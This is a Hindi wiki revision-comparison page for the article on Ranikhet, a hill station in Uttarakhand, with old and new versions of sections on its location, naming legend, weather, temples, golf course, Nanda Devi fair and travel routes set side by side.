"रानीखेत" के अवतरणों में अंतर

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[[चित्र:Ranikhet-Uttarakhand.jpg|thumb|रानीखेत का एक दृश्य, [[अल्मोड़ा]]]]
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'''रानीखेत''', [[उत्तराखंड]] राज्य के [[अल्मोड़ा ज़िला|अल्मोड़ा ज़िले]] के अंतर्गत एक स्थान है। [[देवदार]] और बलूत के वृक्षों से घिरा रानीखेत बहुत ही रमणीक एक लघु हिल स्टेशन है। काठगोदाम रेलवे स्टेशन से 85 किमी. की दूरी पर स्थित यह अच्छी पक्की सड़क से जुड़ा है। इस स्थान से हिमाच्छादित मध्य हिमालयी श्रेणियाँ स्पष्ट देखी जा सकती हैं। प्रकृति प्रेमियों का स्वर्ग रानीखेत समुद्र तल से 1824 मीटर की ऊंचाई पर स्थित एक छोटा लेकिन बेहद खूबसूरत हिल स्टेशन है। छावनी का यह शहर अपने पुराने मंदिरों के लिए मशहूर है। उत्तराखंड की कुमाऊं की पहाड़ियों के आंचल में बसा रानीखेत फिल्म निर्माताओं को भी बहुत पसन्द आता है। यहां दूर-दूर तक रजत मंडित सदृश हिमाच्छादित गगनचुंबी पर्वत, सुंदर घाटियां, चीड़ और [[देवदार]] के ऊंचे-ऊंचे पेड़, घना जंगल, फलों लताओं से ढके संकरे रास्ते, टेढ़ी-मेढ़ी जलधारा, सुंदर वास्तु कला वाले प्राचीन मंदिर, ऊंची उड़ान भर रहे तरह-तरह के पक्षी और शहरी कोलाहल तथा प्रदूषण से दूर ग्रामीण परिवेश का अद्भुत सौंदर्य आकर्षण का केन्द्र है।<ref> {{cite web |url=http://www.yatrasalah.com/photogallary.aspx?gallery=311 |title=रानीखेत  |accessmonthday=1 नवम्बर |accessyear=20133 |last= |first= |authorlink= |format= |publisher= |language= हिंदी}}</ref> रानीखेत से सुविधापूर्वक भ्रमण के लिए पिण्डारी ग्लेशियर, [[कौसानी]], चौबटिया और कालिका पहुँचा जा सकता है। चौबटिया में प्रदेश सरकार के फलों के उद्यान हैं। इस पर्वतीय नगरी का मुख्य आकर्षण यहाँ विराजती नैसर्गिक शान्ति है।  
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|चित्र=Ranikhet-Uttarakhand.jpg
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'''रानीखेत''' [[उत्तराखंड]] राज्य के [[अल्मोड़ा ज़िला|अल्मोड़ा ज़िले]] के अंतर्गत एक पहाड़ी पर्यटन स्थल है। [[देवदार]] और बलूत के वृक्षों से घिरा रानीखेत बहुत ही रमणीक एक लघु हिल स्टेशन है। [[काठगोदाम]] रेलवे स्टेशन से 85 किमी. की दूरी पर स्थित यह अच्छी पक्की सड़क से जुड़ा है। इस स्थान से हिमाच्छादित मध्य हिमालयी श्रेणियाँ स्पष्ट देखी जा सकती हैं। प्रकृति प्रेमियों का स्वर्ग रानीखेत समुद्र तल से 1824 मीटर की ऊंचाई पर स्थित एक छोटा लेकिन बेहद खूबसूरत हिल स्टेशन है। छावनी का यह शहर अपने पुराने मंदिरों के लिए मशहूर है। उत्तराखंड की कुमाऊं की पहाड़ियों के आंचल में बसा रानीखेत फ़िल्म निर्माताओं को भी बहुत पसन्द आता है। यहां दूर-दूर तक रजत मंडित सदृश हिमाच्छादित गगनचुंबी पर्वत, सुंदर घाटियां, [[चीड़]] और [[देवदार]] के ऊंचे-ऊंचे पेड़, घना जंगल, फलों लताओं से ढके संकरे रास्ते, टेढ़ी-मेढ़ी जलधारा, सुंदर वास्तु कला वाले प्राचीन मंदिर, ऊंची उड़ान भर रहे तरह-तरह के पक्षी और शहरी कोलाहल तथा प्रदूषण से दूर ग्रामीण परिवेश का अद्भुत सौंदर्य आकर्षण का केन्द्र है।<ref> {{cite web |url=http://www.yatrasalah.com/photogallary.aspx?gallery=311 |title=रानीखेत  |accessmonthday=1 नवम्बर |accessyear=20133 |last= |first= |authorlink= |format= |publisher= यात्रा सलाह डॉट कॉम|language= हिंदी}}</ref> रानीखेत से सुविधापूर्वक भ्रमण के लिए पिण्डारी ग्लेशियर, [[कौसानी]], चौबटिया और कालिका पहुँचा जा सकता है। चौबटिया में प्रदेश सरकार के फलों के उद्यान हैं। इस पर्वतीय नगरी का मुख्य आकर्षण यहाँ विराजती नैसर्गिक शान्ति है।  
 
==स्थिति==
 
==स्थिति==
रानीखेत, उत्तराखंड राज्य के अल्मोड़ा ज़िले में है। रानीखेत समुद्र तल से 1824 मीटर की ऊंचाई पर स्थित एक छोटा लेकिन बेहद खूबसूरत हिल स्टेशन है। रानीखेत कुमाऊँ के अल्मोड़ा जिला के अंतर्गत आने वाला एक छोटा पर एक सुन्दर पर्वतीय नगर हैं। रानीखेत में ज़िले की सबसे बड़ी सेना की छावनी स्थापित हैं, जहाँ सैनिकों को प्रशिक्षित किया जाता हैं। रानीखेत की दूरी [[नैनीताल]] से 63 किमी, [[अल्मोड़ा]] से 50 किमी, [[कौसानी]] से 85 किमी और काठगोदाम से 80 किमी हैं। मनोरम पर्वतीय स्थल रानीखेत लगभग 25 वर्ग किलोमीटर में फैला है। कुमाऊं क्षेत्र में पड़ने वाले इस स्थान से लगभग 400 किलोमीटर लंबी हिमाच्छादित पर्वत-श्रृंखला का ज़्यादातर भाग दिखता हैं। इन पर्वतों की चोटियां सुबह-दोपहर-शाम अलग-अलग रंग की मालूम पड़ती हैं।   
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रानीखेत, उत्तराखंड राज्य के अल्मोड़ा ज़िले में है। रानीखेत समुद्र तल से 1824 मीटर की ऊंचाई पर स्थित एक छोटा लेकिन बेहद खूबसूरत हिल स्टेशन है। रानीखेत [[कुमाऊँ]] के अल्मोड़ा ज़िला के अंतर्गत आने वाला एक छोटा पर एक सुन्दर पर्वतीय नगर हैं। रानीखेत में ज़िले की सबसे बड़ी सेना की छावनी स्थापित हैं, जहाँ सैनिकों को प्रशिक्षित किया जाता हैं। रानीखेत की दूरी [[नैनीताल]] से 63 किमी, [[अल्मोड़ा]] से 50 किमी, [[कौसानी]] से 85 किमी और काठगोदाम से 80 किमी हैं। मनोरम पर्वतीय स्थल रानीखेत लगभग 25 वर्ग किलोमीटर में फैला है। कुमाऊं क्षेत्र में पड़ने वाले इस स्थान से लगभग 400 किलोमीटर लंबी हिमाच्छादित पर्वत-श्रृंखला का ज़्यादातर भाग दिखता हैं। इन पर्वतों की चोटियां सुबह-दोपहर-शाम अलग-अलग रंग की मालूम पड़ती हैं।   
 
==नामकरण==
 
==नामकरण==
एक किवदंती के अनुसार रानीखेत का नाम रानी पद्मिनी के कारण पड़ा। रानी पद्मिनी राजा सुखदेव की पत्नी थीं, जो वहां के राज्य के शासक थे। रानीखेत की सुंदरता देख राजा और रानी बेहद प्रभावित हुए और उन्होंने वहीं रहने का फैसला कर किया। रानीखेत के कई इलाकों पर कुमांऊनी का शासन था पर बाद में यह [[ब्रिटिश शासन|ब्रिटिश शासकों]] के हाथ में चला गया। [[अंग्रेज़|अंग्रेजों]] ने रानीखेत को छुट्टियों में मौज-मस्ती के लिए हिल स्टेशन के रूप में विकसित किया और 1869 में यहां कई छावनियां बनवाईं जो अब 'कुमांऊ रेजीमेंटल सेंटर' है। इस पूरे क्षेत्र की मोहक सुंदरता का अनुमान कभी नीदरलैण्ड के राजदूत रहे वान पैलेन्ट के इस कथन से लगाया जा सकता है-''' जिसने रानीखेत को नहीं देखा, उसने भारत को नहीं देखा।''' कहा जाता है कि सैकड़ों [[वर्ष]] पहले कोई रानी अपनी यात्रा पर निकली हुई थीं। इस क्षेत्र से गुजरते समय वह यहां के प्राकृतिक सौंदर्य से मोहित होकर रात्रि-विश्राम के लिए रुकीं। बाद में उन्हें यह स्थान इतना अच्छा लगा कि उन्होंने यहीं पर अपना स्थायी निवास बना लिया।  चूंकि तब इस स्थान पर छोटे-छोटे खेत थे, इसलिए इस स्थान का नाम 'रानीखेत' पड़ गया। अंग्रेजों के शासनकाल में सैनिकों की छावनी के लिए इस क्षेत्र का विकास किया गया। क्योंकि रानीखेत कुमाऊं रेजिमेन्ट का मुख्यालय है, इसलिए यह पूरा क्षेत्र काफी साफ-सुथरा रहता हैं। यहां का बाजार तो अद्भुत है। पहाड़ के उतार (यानी खड़ी चढ़ाई) पर बना हुआ। इसलिए इसे 'खड़ा बाजार' कहा जाता हैं <ref>{{cite web |url=http://www.deshbandhu.co.in/newsdetail/658/4/135 |title=अनुपम है रानीखेत |accessmonthday=1 नवम्बर |accessyear=20133 |last= |first= |authorlink= |format= |publisher= |language= हिंदी}}</ref>
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एक किवदंती के अनुसार रानीखेत का नाम [[रानी पद्मिनी]] के कारण पड़ा। रानी पद्मिनी राजा सुखदेव की पत्नी थीं, जो वहां के राज्य के शासक थे। रानीखेत की सुंदरता देख राजा और रानी बेहद प्रभावित हुए और उन्होंने वहीं रहने का फैसला कर किया। रानीखेत के कई इलाकों पर कुमांऊनी का शासन था पर बाद में यह [[ब्रिटिश शासन|ब्रिटिश शासकों]] के हाथ में चला गया। [[अंग्रेज़|अंग्रेजों]] ने रानीखेत को छुट्टियों में मौज-मस्ती के लिए हिल स्टेशन के रूप में विकसित किया और [[1869]] में यहां कई छावनियां बनवाईं जो अब 'कुमांऊ रेजीमेंटल सेंटर' है। इस पूरे क्षेत्र की मोहक सुंदरता का अनुमान कभी नीदरलैण्ड के राजदूत रहे वान पैलेन्ट के इस कथन से लगाया जा सकता है-''' जिसने रानीखेत को नहीं देखा, उसने भारत को नहीं देखा।''' कहा जाता है कि सैकड़ों [[वर्ष]] पहले कोई रानी अपनी यात्रा पर निकली हुई थीं। इस क्षेत्र से गुजरते समय वह यहां के प्राकृतिक सौंदर्य से मोहित होकर रात्रि-विश्राम के लिए रुकीं। बाद में उन्हें यह स्थान इतना अच्छा लगा कि उन्होंने यहीं पर अपना स्थायी निवास बना लिया। चूंकि तब इस स्थान पर छोटे-छोटे खेत थे, इसलिए इस स्थान का नाम 'रानीखेत' पड़ गया। अंग्रेज़ों के शासनकाल में सैनिकों की छावनी के लिए इस क्षेत्र का विकास किया गया। क्योंकि रानीखेत कुमाऊं रेजिमेन्ट का मुख्यालय है, इसलिए यह पूरा क्षेत्र काफ़ी साफ-सुथरा रहता है। यहां का बाज़ार तो अद्भुत है। पहाड़ के उतार (यानी खड़ी चढ़ाई) पर बना हुआ। इसलिए इसे 'खड़ा बाज़ार' कहा जाता है।<ref name="deshbandhu">{{cite web |url=http://www.deshbandhu.co.in/newsdetail/658/4/135 |title=अनुपम है रानीखेत |accessmonthday=1 नवम्बर |accessyear=20133 |last= |first= |authorlink= |format= |publisher=देशबंधु |language= हिंदी}}</ref>
 
==मौसम==
 
==मौसम==
 
रानीखेत में [[गर्मी]] के दिनों में मौसम सामान्य, [[जुलाई]] से लेकर [[सितम्बर]] तक का मौसम [[बरसात]] का और फिर [[नवंबर]] से [[फरवरी]] तक बर्फबारी और [[ठंड]] वाला होता है। रानीखेत का हर मौसम घूमने का आनंद देता है। वैसे तो रानीखेत [[साल]] में कभी भी जा सकते हैं लेकिन सबसे अच्छा समय है [[मार्च]] से [[जून]] तक का होता है। अगर आप ठंड में जाना चाहें तो सितम्बर से नवंबर के बीच जाएं, जब वहां का मौसम सबसे बढ़िया होता है।
 
रानीखेत में [[गर्मी]] के दिनों में मौसम सामान्य, [[जुलाई]] से लेकर [[सितम्बर]] तक का मौसम [[बरसात]] का और फिर [[नवंबर]] से [[फरवरी]] तक बर्फबारी और [[ठंड]] वाला होता है। रानीखेत का हर मौसम घूमने का आनंद देता है। वैसे तो रानीखेत [[साल]] में कभी भी जा सकते हैं लेकिन सबसे अच्छा समय है [[मार्च]] से [[जून]] तक का होता है। अगर आप ठंड में जाना चाहें तो सितम्बर से नवंबर के बीच जाएं, जब वहां का मौसम सबसे बढ़िया होता है।
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#[[हिन्दी]]।  
 
#[[हिन्दी]]।  
 
==पर्यटन==
 
==पर्यटन==
रानीखेत की सुंदरता को शब्दों में बयान नहीं किया जा सकता है. दूर-दूर तक फैली घाटियां, घने जंगलों में सरसराते चीड़ के पेड़ यहां की सुंदरता में चार चांद लगते हैं। दुनिया भर से हर साल लाखों की संख्या में सैलानी यहां मौज-मस्ती करने के लिए आते हैं। रानीखेत का चौबटिया गार्डन पर्यटकों की पहली पसंद है। इसके अलावा यहां का सरकारी उद्यान और फल अनुसंधान केंद्र भी देखे जा सकता है। इनके पास में ही एक वाटर फॉल भी है। कम भीड़-भाड़ और शान्त माहौल रानीखेत को और भी ख़ास बना देता है।
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रानीखेत की सुंदरता को शब्दों में बयान नहीं किया जा सकता है। दूर-दूर तक फैली घाटियां, घने जंगलों में सरसराते [[चीड़]] के पेड़ यहां की सुंदरता में चार चांद लगते हैं। दुनिया भर से हर साल लाखों की संख्या में सैलानी यहां  मौज-मस्ती करने के लिए आते हैं। रानीखेत से 6 किलोमीटर की दूरी पर गोल्फ का विशाल मैदान है। उसके पास ही कलिका में कालीदेवी का प्रसिद्ध मंदिर भी है। [[द्वाराहाट]] के पास ही 65 मंदिर बने हुए हैं, जो कि तत्कालीन कला के बेजोड़ नमूनों के रुप में विख्यात हैं। बद्रीकेदार मंदिर, गूजरदेव का कलात्मक मंदिर, दूनागिरि मंदिर, पाषाण मंदिर और बावड़िया यहां के प्रसिद्ध मंदिर हैं। द्वाराहाट से 14 किलोमीटर की दूरी पर दूनागिरी मंदिर है। यहां से आप बर्फ से ढकी चोटियों को देख सकते हैं। [[दूनागिरी]] में चोटी पर दुर्गाजी समेत कई अन्य मंदिर भी हैं, जहां पर आसपास के लोग बड़ी संख्या में आते हैं। इसके कुछ ही दूरी पर शीतलाखेत है, जो पर्यटक गांव के नाम से जाना जाता है। यहां की खूबसूरती देखते ही बनती है। यहां पर दिखने वाले खूबसूरत नज़ारे पर्यटकों को खूब भाते हैं। रानीखेत से लगभग सात किलोमीटर दूरी पर है- कलिका मंदिर। यहां माँ काली की पूजा की जाती है। यहां पर पौधों की बहुत ही बढ़िया नर्सरी भी हैं। ऊपर में गोल्फ कोर्स है और उसके पीछे बर्फ से ढंका हुआ पहाड़ बहुत ही मनोरम दृश्य प्रस्तुत करता है। रानीखेत में इसके अलावा और भी मनोरम स्थल है। यहां का बालू बांध मछली पकड़ने के लिए प्रसिद्ध है। रानीखेत से थोड़ी-थोड़ी दूरी पर भ्रमण करने की भी कई जगह हैं जैसे [[अल्मोड़ा]] जहां [[हिमालय]] पहाड़ों का सुंदर दृश्य मन को मोह लेता है। रानीखेत का चौबटिया गार्डन पर्यटकों की पहली पसंद है। इसके अलावा यहां का सरकारी उद्यान और फल अनुसंधान केंद्र भी देखे जा सकता है। इनके पास में ही एक वाटर फॉल भी है। कम भीड़-भाड़ और शान्त माहौल रानीखेत को और भी ख़ास बना देता है।
;रानीखेत के प्रमुख दर्शनीय स्थल
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==प्रमुख दर्शनीय स्थल==
* माँ कलिका मंदिर
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[[चित्र:Katarmal-Sun-Temple-Almora-Uttarakhand.jpg|thumb|[[कटारमल सूर्य मन्दिर]]]]
* गोल्फ कोर्स
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* [[माँ कलिका मंदिर, रानीखेत|माँ कलिका मंदिर]]
* चौबटिया गार्डन
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* [[गोल्फ़ कोर्स, रानीखेत|गोल्फ़ कोर्स]]
* बिनसर महादेव मंदिर
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* [[चौबटिया गार्डन, रानीखेत|चौबटिया गार्डन]]
* कटारमल सूर्य मंदिर
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* [[बिन्सर महादेव मंदिर, रानीखेत|बिन्सर महादेव मंदिर]]
* हेड़ाखान मंदिर
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* [[कटारमल सूर्य मन्दिर]]
* शीतलाखेत
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* [[हेड़ाखान मंदिर, रानीखेत|हेड़ाखान मंदिर]]
* झूला देवी मंदिर
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* [[द्वाराहाट]]
* कुमाऊँ रेजिमेंट का संग्राहलय
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* [[झूला देवी मंदिर, रानीखेत|झूला देवी मंदिर]]
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* कुमाऊँ रेजिमेंट का संग्रहालय
रानीखेत से 6 किलोमीटर की दूरी पर गोल्फ का विशाल मैदान है। उसके पास ही कलिका में कालीदेवी का प्रसिद्ध मंदिर भी है। द्वाराहाट के पास ही 65 मंदिर बने हुए हैं, जो कि तत्कालीन कला के बेजोड़ नमूनों के रुप में विख्यात हैं। बद्रीकेदार मंदिर, गूजरदेव का कलात्मक मंदिर, दूनागिरि मंदिर, पाषाण मंदिर और बावडि़या यहां के प्रसिद्ध मंदिर हैं। द्वाराहाट से 14 किलोमीटर की दूरी पर दूनागिरी मंदिर है। यहां से आप बर्फ से ढकी चोटियों को देख सकते हैं। दूनागिरी में चोटी पर दुर्गाजी समेत कई अन्य मंदिर भी हैं, जहां पर आसपास के लोग बड़ी संख्या में आते हैं। इसके कुछ ही दूरी पर शीतलाखेत है, जो पर्यटक गांव के नाम से जाना जाता है। यहां की खूबसूरती देखते ही बनती है। यहां पर दिखनेवाले खूबसूरत नज़ारे पर्यटकों को खूब भाते हैं।  
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==अन्य दर्शनीय स्थल==
 
 
रानीखेत से लगभग सात किलोमीटर दूरी पर है- कलिका मंदिर। यहां मां काली की पूजा की जाती है। यहां पर पौधों की बहुत ही बढ़िया नर्सरी भी हैं। ऊपर में गोल्फ कोर्स है और उसके पीछे बर्फ से ढंका हुआ पहाड़ बहुत ही मनोरम दृश्य प्रस्तुत करता है। रानीखेत में इसके अलावा और भी मनोरम स्थल है। यहां का बालू बांध मछली पकड़ने के लिए प्रसिद्ध है। रानीखेत से थोड़ी-थोड़ी दूरी पर भ्रमण करने की भी कई जगह हैं जैसे अल्मोड़ा जहां हिमालय पहाड़ों का सुंदर दृश्य मन को मोह लेता है।  
 
 
 
==माँ कलिका मंदिर==
 
अल्मोड़ा हाइवे कहा जाता हैं । इसी हाइवे पर कुछ किलोमीटर चलते के बाद यह रास्ता सेना के एक बड़े गोल्फ लिकं मैदान के बीच से गुजरता हैं, जो यहाँ के मुख्य पर्यटक स्थलो में एक हैं । इस गोल्फ लिंक पर हमे वापिसी में रुकना था, सो गोल्फ लिंक के बीच से गुजरते हुए हम लोग सबसे पहले माँ कालिका मंदिर पहुँच गए जो गोल्फ के मैदान को पार करने के बाद कुछ ही दूरी पर एक छोटी सी पहाड़ी पर स्थित था ।  माँ कालिका का मंदिर घने वृक्षों के मध्य एक छोटी से पहाड़ी की चोटी पर स्थित यहाँ का एक प्रसिद्ध मंदिर हैं । जहाँ हम कार से उतरे थे, उस स्थान पर मंदिर के लिए एक लाल रंग का प्रवेश द्वार था । प्रवेश द्वार पर ही कुछ दुकानदार अपनी अस्थाई दुकान लगाये हुए थे और यह दुकानदार स्थानीय फल आडू,नख आदि बेच रहे थे । इस द्वार से माँ कालिका का मंदिर तक जाने के लिए सीढ़िया बनी हुयी थी । इन सीढ़ियों से घने वृक्षों के मध्य से होते हम लोग मंदिर पहुँच गए, नीचे से यह मंदिर ज्यादा दूर नहीं हैं । तेज हवा चलने के कारण सीढ़ियों के दोनो तरफ के पेड़-पौधे जोर-जोर से आवाज कर रहे थे और घने इतने थे कि मुश्किल से सूरज की रौशनी धरती पर आ रही थी । पहाड़ की चोटी पर सफ़ेद रंग का यह एक माँ काली का छोटा मंदिर हैं । हम लोगों ने बाहर सीढ़ियों पर ही अपने जूते-चप्पल उतारकर अपने हाथ धोकरकर मंदिर में प्रवेश किया । जब हमने इस मंदिर में प्रवेश कर रहे थे तभी बाहर हाथ धोने वाली एक सीमेंट की टंकी पर लिखा हुआ था कि, ” मंदिर में फोटो लेकर देवी का अपमान न करे और न ही अपने को कष्ट में डाले “। खैर हमारे मन में माँ का अपमान करने इरादा बिल्कुल नहीं था सो अपने कैमरे और मोबाइल अपने जेब में डाल लिए । इसी कारण से मंदिर के अंदर के चित्र खिचने से हम लोग वंचित रह गए । मंदिर परिसर बिल्कुल शांत था, इक्का दुक्का लोग ही वहाँ नजर आ रहे थे । मंदिर परिसर में हमने मुख्य मंदिर में माँ कालिका देवी जी माँ की छवि बड़ी ही निराली थी, हमने माँ दर्शन श्रद्धा पूर्वक किए, उनका आर्शीवाद लिया और एक परिकृमा लगाकर इस मंदिर के पीछे ही ऊपर बने एक और भव्य और सुन्दर मंदिर में माँ के दर्शन कर अपने आप को उनकी श्रद्धा से अभिभूत किया । एक बात और इस मंदिर की देखरेख के लिए कोई भी पुरुष सदस्य नहीं था । केवल महिला सदस्य ही यहाँ की देखरेख में लगी हुयी थी और वही पुजारी का काम भी कर रही थी ।
 
==गोल्फ कोर्स==  
 
रानीखेत का गोल्फ कोर्स का मैदान एशिया के सबसे ऊँचे गोल्फ कोर्स में एक एक हैं । नौ छेदों वाला यह गोल्फ कोर्स रानीखेत के प्रमुख, आकर्षक और लोगो द्वारा सबसे अधिक पसंद किया जाना वाला पर्यटक स्थल हैं । इस गोल्फ कोर्स का पहाड़ की अधिकतम ऊँचाई पर यहाँ के ठंडे वातावरण में हरी-भरी घास का बड़ा मैंदान एक सम्मोहित सा कर देने वाला आभास देता हैं । दूर तक फैला साफ़-सुधरा मैदान, बीच में इक्का-दुक्का पेड़, रंगीन झंडे, छोटे लकड़ी के पुल, बैठने के लिए शेड और मैदान की दूसरी तरफ पाइन वृक्षों के घने वन आदि कुछ यहाँ की सुंदरता में चारचांद लगा देते हैं।
 
==दर्शनीय स्थल==
 
 
रानीखेत में कई दर्शनीय स्थल हैं, जिनमें से प्रमुख निम्नलिखित हैं- 
 
रानीखेत में कई दर्शनीय स्थल हैं, जिनमें से प्रमुख निम्नलिखित हैं- 
 
====उपत====
 
====उपत====
रानीखेत में शहर से 5 किलोमीटर दूर (अल्मोड़ा जाने वाले रास्ते में) चीड़ के घने जंगल के बीच (6000 फुट की ऊंचाई पर) उपत नामक स्थान पर एक विश्वप्रसिध्द गोल्फ मैदान है। यहां प्राय: फिल्मों की शूटिंग होती रहती हैं। कोमल हरी घास का यह सुंदर मैदान नौ छेदों वाला हैं। ऐसा मैदान बहुत कम देखने को मिलता है। यहां खिलाड़ियों के रहने के लिए एक सुंदर बंगला बना हुआ है, जहां से दूर तक फैले हिमाच्छादित पर्वतों को देखना बहुत ही अच्छा लगता हैं।
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रानीखेत में शहर से 5 किलोमीटर दूर (अल्मोड़ा जाने वाले रास्ते में) [[चीड़]] के घने जंगल के बीच (6000 फुट की ऊंचाई पर) उपत नामक स्थान पर एक विश्व प्रसिद्ध गोल्फ मैदान है। यहां प्राय: फ़िल्मों की शूटिंग होती रहती है। कोमल हरी घास का यह सुंदर मैदान नौ छेदों वाला हैं। ऐसा मैदान बहुत कम देखने को मिलता है। यहां खिलाड़ियों के रहने के लिए एक सुंदर बंगला बना हुआ है, जहां से दूर तक फैले हिमाच्छादित पर्वतों को देखना बहुत ही अच्छा लगता हैं।
====हेड़ाखान मंदिर====
 
अल्मोड़ा से 6 किलोमीटर दूर स्थित यह स्थान 'चिलियानौला' के नाम से भी जाना जाता हैं। अपनी प्राकृतिक सुषमा के कारण यह स्थान पिकनिक और ट्रैकिंग के लिए काफी उपयुक्त है। फूलों के सुंदर बाग के कारण यहां की रमणीयता और बढ़ जाती हैं। यहां पर साधु हेड़ाखान का मंदिर भी हैं।
 
 
====हरबेरियम====
 
====हरबेरियम====
प्रसिद्ध वनस्पति-शास्त्री राम जी लाल द्वारा स्थापित इस हरबेरियम ( वनस्पति संग्रहायल) में तरह-तरह की वनस्पतियों व जड़ी-बूटियों का अद्भुत संग्रह प्रदर्शनार्थ रखा गया हैं। पूरे भारत में यह अपनी तरह का एक अलग हरबेरियम हैं। चौबटिया- रानीखेत से 10 किलोमीटर दूर इस स्थान पर एशिया का  सबसे बड़ा फलों का बगीचा हैं। यहां दर्जनों तरह के फलों के पेड़ हैं, जिन्हें देखकर पर्यटक गद्गद हो  उठते हैं। यहां सरकार द्वारा स्थापित विशाल फल संरक्षण केंद्र भी देखने लायक हैं। यह स्थान एक सुंदर पिकनिक स्थल भी हैं। इसके पास ही अगल-बगल तीन जल-स्त्रोत भी हैं, जो इस पूरे स्थान के प्राकृतिक वैभव को और अधिक बढ़ा देते हैं।
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प्रसिद्ध वनस्पति-शास्त्री राम जी लाल द्वारा स्थापित इस हरबेरियम (वनस्पति संग्रहायल) में तरह-तरह की वनस्पतियों व जड़ी-बूटियों का अद्भुत संग्रह प्रदर्शनार्थ रखा गया हैं। पूरे [[भारत]] में यह अपनी तरह का एक अलग हरबेरियम हैं।  
====शीलतखेत====
 
रानीखेत से 35 किलोमीटर दूर स्थित यह स्थान अब एक अच्छे पर्यटन-स्थल के रूप में विकसित हो रहा हैं। यहां से हिमाच्छादित के सुंदर दृश्यों को देखना बहुत ही अच्छा लगता हैं। ऊंचाई पर स्थित होने के कारण यहां से नीचे का नजारा अत्यंत लुभावना दिखता हैं।
 
 
====द्वाराहाट====
 
====द्वाराहाट====
रानीखेत से 38 किलोमीटर दूर स्थित यह स्थान ऐतिहासिक कारणों से अधिक महत्वपूर्ण हैं। सैकड़ों वर्ष पूर्व यहां पर जिस कत्यूरी राजवंश का शासन था, उनके राजाओं द्वारा बनवाए गए 55 मंदिर यहां पर हैं। इनकी वास्तुकला और स्थापत्य कला देखने लायक हैं। वैसे, यहां का प्राकृतिक सौंदर्य भी मोहित करता हैं।
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{{Main|द्वाराहाट}}
====सुरईखेत==== 
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रानीखेत से 38 किलोमीटर दूर स्थित यह स्थान ऐतिहासिक कारणों से अधिक महत्वपूर्ण हैं। सैकड़ों वर्ष पूर्व यहां पर जिस कत्यूरी राजवंश का शासन था। उनके राजाओं द्वारा बनवाए गए 55 मंदिर यहां पर हैं। इनकी [[वास्तुकला]] और स्थापत्य कला देखने लायक हैं। वैसे, यहां का प्राकृतिक सौंदर्य भी मोहित करता है।
द्वाराहाट से 15 किलोमीटर दूर यह स्थान एक सुंदर मैदान के कारण अधिक लोकप्रिय है, जो एक पहाड़ के शिखर पर स्थित हैं। यहां से द्वाराहाट, त्रिशूल, पांडुखोली, दूनगिरि आदि पहाड़ों के मनोरम रूप-रंग को देखा जा सकता हैं।
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====शीतलाखेत====
==बाज़ार==
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रानीखेत से 35 किलोमीटर दूर स्थित यह स्थान अब एक अच्छे पर्यटन-स्थल के रूप में विकसित हो रहा हैं। यहां से हिमाच्छादित के सुंदर दृश्यों को देखना बहुत ही अच्छा लगता हैं। ऊंचाई पर स्थित होने के कारण यहां से नीचे का नज़ारा अत्यंत लुभावना दिखता हैं।  
रानीखेत शहर में प्रवेश बाद उसी हाइवे से चलते-चलते रानीखेत का व्यस्तम बाज़ार शुरू हो जाता हैं, जिनके दोनो तरफ कई छोटे-बड़े होटल, घर, रेस्तरा और कई तरह की दुकानों थी । इस बाजार से गुजरते समय एक बड़ा रेस्तरा नजर आया, जहाँ अधिकतर घूमने वाले टैक्सी चालक अपने ग्राहकों को विश्राम देते हैं और यही पर एक छोटा सा  बस स्टैंड भी हैं ।
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====मजखली====
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रानीखेत से 13 किमी. की दूरी पर स्थित मजखली में पर्यटक [[हिमालय]] को नजदीक से देखने के लिए जाते हैं। 26500 फीट ऊंचा त्रिशूल पर्वत यहां से टॉवर के समान प्रतीत होता है।
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====सुरईखेत====
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द्वाराहाट से 15 किलोमीटर दूर यह स्थान एक सुंदर मैदान के कारण अधिक लोकप्रिय है, जो एक पहाड़ के शिखर पर स्थित हैं। यहां से द्वाराहाट, त्रिशूल, पांडुखोली, [[दूनागिरि]] आदि पहाड़ों के मनोरम रूप-रंग को देखा जा सकता हैं।<ref name="deshbandhu"/>
 
==नंदा देवी मेला==
 
==नंदा देवी मेला==
नंदा देवी मेला यहां का सबसे बड़ा धार्मिक और सांस्कृतिक मेला है। इसे देखने दूर-दूर से लोग आते हैं। इसकी शुरुआत सोलहवीं शताब्दी में राजा कल्याण चंद ने की थी। सितम्बर के समय लगने वाला यह मेला देवी नंदा और सुनंदा को समर्पित होता है। यह मेला कई जगह लगाया जाता हैं जैसे अल्मोड़ा, नैनीताल, दांडीधारा और रानीखेत। इसमें सबसे ज्यादा प्रसिद्ध मेला अल्मोड़ा और रूपकुंड का होता हैं।  
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नंदा देवी मेला रानीखेत का सबसे बड़ा धार्मिक और सांस्कृतिक मेला है। इसे देखने दूर-दूर से लोग आते हैं। इसकी शुरुआत सोलहवीं शताब्दी में राजा कल्याण चंद ने की थी। [[सितम्बर]] के समय लगने वाला यह मेला देवी नंदा और सुनंदा को समर्पित होता है। यह मेला कई जगह लगाया जाता हैं जैसे [[अल्मोड़ा]], [[नैनीताल]], दांडीधारा और रानीखेत। इसमें सबसे ज्यादा प्रसिद्ध मेला अल्मोड़ा और रूपकुंड का होता हैं।
 
==कैसे जाएं==
 
==कैसे जाएं==
काठगोदाम रेलवे स्टेशन यहां से 85 किलोमिटर की दूरी पर हैं. रानीखेत दिल्ली से 279 किलोमीटर की दूरी पर है. एक बार अल्मोड़ पहुंच कर आपको रानीखेत के लिए सीधे बस सेवा मिल जाएंगी.
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[[काठगोदाम]] रेलवे स्टेशन यहां से 85 किलोमिटर की दूरी पर हैं। रानीखेत [[दिल्ली]] से 279 किलोमीटर की दूरी पर है। एक बार अल्मोड़ा पहुंच कर आपको रानीखेत के लिए सीधे बस सेवा मिल जाएगी। रानीखेत जाने के लिए आपके पास बहुत से विकल्प हैं। जैसे हवाई, रेल या सड़क मार्ग से। अगर आप हवाई जहाज से जाना चाहते हैं, तो पंतनगर के हवाई हड्डे पर उतरना पड़ेगा, क्योंकि यहां का भी निकटतम हवाई अड्डा वही हैं। वहां से रानीखेत की 119 किलोमीटर की दूरी टैक्सी वगैरह से तय करनी पड़ेगी। अगर आप रेलगाड़ी से यात्रा करना चाहते हैं, तो काठगोदाम स्टेशन तक जा सकते हैं, क्योंकि रानीखेत का निकटतम रेलवे स्टेशन वही हैं। वहां से रानीखेत की 84 किलोमीटर की दूरी परिवहन निगम की बस या टैक्सी से तय की जा सकती हैं।
